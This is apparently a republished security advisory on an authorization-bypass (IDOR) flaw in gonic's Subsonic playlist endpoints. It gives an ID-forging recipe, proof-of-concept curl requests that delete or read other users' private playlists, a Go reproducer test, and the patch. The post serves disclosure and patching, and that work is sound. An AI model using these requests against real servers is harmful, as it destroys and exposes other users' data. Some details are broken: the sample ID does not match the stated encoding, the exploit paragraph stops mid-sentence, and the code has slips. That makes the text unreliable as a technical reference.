Listen to this Post
The vulnerability resides in the Subsonic API implementation of the gonic media server, specifically within the `deletePlaylist.view` and `getPlaylist.view` endpoints. At its core, the issue is a complete absence of per‑resource authorization checks after user authentication. Once a user (even a low‑privileged non‑admin) successfully authenticates, the server blindly accepts a playlist `id` parameter and performs the requested operation without ever verifying that the authenticated user actually owns the targeted playlist.
The playlist `id` itself is generated deterministically as a base64url‑encoded string of the format "<userID>/<filename>.m3u". The `userID` is a small, sequentially assigned integer, and the filename is either user‑supplied or derived from timestamps. This makes the IDs highly predictable and easily enumerable. Furthermore, if a playlist was ever made public and later switched to private, its `id` remains unchanged, allowing an attacker to continue accessing it. The vulnerability is present in the `ServeDeletePlaylist` handler (lines 177‑187) which calls `playlistStore.Delete` without first loading the playlist to compare `playlist.UserID` against the current user.ID. Similarly, `ServeGetPlaylist` (lines 51‑68) reads and returns the full playlist object, including its name, comment, and song list, without any ownership or public‑status check. By contrast, the `ServeUpdatePlaylist` handler (line 138) correctly enforces ownership, and the listing endpoint `ServeGetPlaylists` properly filters out private playlists belonging to other users. This inconsistency allows an authenticated attacker to delete any playlist (including admin‑owned) and to read the complete contents of any private playlist for which they can guess or obtain the id. The flaw completely collapses the multi‑user trust boundary that gonic intends to maintain through its `createUser` and role‑based model. The issue was privately disclosed to the maintainer and fixed in commit `6dd71e6a3c966867ef8c900d359a7df75789f410` on 2026‑05‑18, but this fix has not yet been included in any tagged release; the latest stable version `v0.20.1` remains vulnerable. The maintainer applied a patch that loads the playlist first and adds simple ownership checks in both handlers, mirroring the existing logic used in update endpoints. The public advisory is being filed now that private vulnerability reporting is enabled on the repository, ensuring a public record when the next release ships.
DailyCVE Form:
Platform: gonic Subsonic API
Version: v0.20.1 (prior)
Vulnerability: IDOR Authorization Bypass
Severity: High
date: 2026-06-27
Prediction: Next tagged release
What Undercode Say:
Enumerate user IDs (small integers) and filenames to craft playlist IDs
ID format: base64url("<userID>/<filename>.m3u")
Example for userID=1 and filename="victim-private.m3u":
echo -n "1/victim-private.m3u" | base64 | tr '+/' '-_' | tr -d '='
Delete a victim's playlist (authenticated as low-priv user)
curl -X GET "http://gonic-server/rest/deletePlaylist.view?u=lowpriv&p=lowpriv&v=1&c=poc&f=json&id=cGwtMS12aWN0aW0tcHJpdmF0ZS5tM3U"
Read a private playlist's full contents
curl -X GET "http://gonic-server/rest/getPlaylist.view?u=lowpriv&p=lowpriv&v=1&c=poc&f=json&id=cGwtMS12aWN0aW0tcHJpdmF0ZS5tM3U"
Go test reproducer (from the ):
func TestIDOR_DeleteOtherUsersPlaylist(t testing.T) {
f := newFixture(t)
victimRelPath := filepath.Join("1", "victim-private.m3u")
_ = f.contr.playlistStore.Write(victimRelPath, &playlistp.Playlist{
UserID: f.admin.ID, Name: "victim-private", IsPublic: false,
Items: []string{"/music/foo.flac"},
})
victimID := playlistIDEncode(victimRelPath).String()
body := f.query(t, f.contr.ServeDeletePlaylist, f.alt, url.Values{"id": {victimID}})
// status="ok" – playlist deleted
}
Exploit:
An attacker with any valid gonic account sends authenticated GET requests to `/rest/deletePlaylist.view` or `/rest/getPlaylist.view` with a crafted `id` parameter. The `id` is derived by base64url‑encoding "<userID>/<filename>.m3u", where `
Protection:
Apply the patch from commit 6dd71e6a3c966867ef8c900d359a7df75789f410, which adds the following checks in handlers_playlist.go:
– In ServeGetPlaylist: `if playlist.UserID != user.ID && !playlist.IsPublic { return spec.NewError(50, “not allowed”) }`
– In ServeDeletePlaylist: `if playlist.UserID != 0 && playlist.UserID != user.ID { return spec.NewError(50, “not allowed”) }`
Alternatively, upgrade to a future release (v0.21.0 or later) once tagged. Until then, manually backport the ownership enforcement or restrict access to the Subsonic API via network/firewall rules.
Impact:
- Integrity / Availability: Any authenticated user can permanently delete playlists belonging to any other user, including administrators, with no undo or recovery mechanism.
- Confidentiality: Full contents (song list, name, comment fields) of all private playlists become readable by any attacker who guesses or obtains the playlist ID. IDs persist even after a playlist is made private, exposing previously public data.
- Trust Boundary: The entire multi‑user isolation model of gonic is broken. A low‑privileged user can wipe curated admin playlists and exfiltrate sensitive listening data, effectively elevating their capabilities without privilege escalation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

